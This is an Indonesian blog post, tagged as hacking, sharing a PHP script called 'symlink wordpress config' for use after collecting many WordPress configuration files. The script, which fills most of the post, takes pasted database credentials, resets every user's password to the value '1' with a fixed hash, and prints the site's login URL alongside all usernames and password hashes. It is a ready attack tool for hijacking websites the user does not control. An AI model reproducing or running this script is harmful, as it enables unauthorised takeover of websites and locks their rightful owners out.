06 April 2015
Terkadang menemukan Config yg buanyak, tapi ribet kalau mesti buka sql
satu persatu, buat nyari halaman web dan reset passwordnya...
Untuk lebih gampangnya tinggal bikin file php, dan copy wp-confignya...
Buka di browser kesayangan dan jadi deh... :p
Code php nya :
<?phpSource : http://blog.deb-x.org
//======================================================================================//
/*
symlink wordpress config
by d3b~X
copy wp-config.php dari "define('DB_NAME' .............." sampai "$table_prefix = 'wp_';"
*/
//=====================================================================================//
/* copas disini */
/* copas selesai */
$tfix = $table_prefix ;
$tab = $tfix.'users';
$ops = $tfix.'options';
$pass = DB_PASSWORD;
$userdb = DB_USER;
$db = DB_NAME;
mysql_connect("localhost",$userdb,$pass) or die("koneksi gagal");
mysql_select_db($db) or die ("Database gagal di buka");
mysql_query("UPDATE `$tab` SET `user_pass` = '$1$4z/.5i..$9aHYB.fUHEmNZ.eIKYTwx/'") or die;
$wp_url = mysql_query("SELECT * FROM `$ops` WHERE `option_name` = 'siteurl' LIMIT 0,5 ");
while($urlnya = mysql_fetch_array($wp_url)){
// $link = $urlnya['option_value'];
echo '<span style="text-transform:lowercase;">Login page = <a href="'.$urlnya['option_value'].'/wp-login.php" target="_blank">'.$urlnya['option_value'].'/wp-login.php</a></span><br>';
}
//user detail
echo '<br><br>User detail :<br>';
$wp_user = mysql_query("SELECT * FROM `$tab` LIMIT 0,20 ");
while($usernya = mysql_fetch_array($wp_user)){
echo '<span style="text-transform:lowercase;">'.$usernya['ID'].' || '.$usernya['user_login'].' || '.$usernya['user_pass'].' </span><br>';
}
echo '<br> <b>Pass = 1</b>';
?>
Tag :
Hacking
Subscribe to:
Post Comments (Atom)
0 comments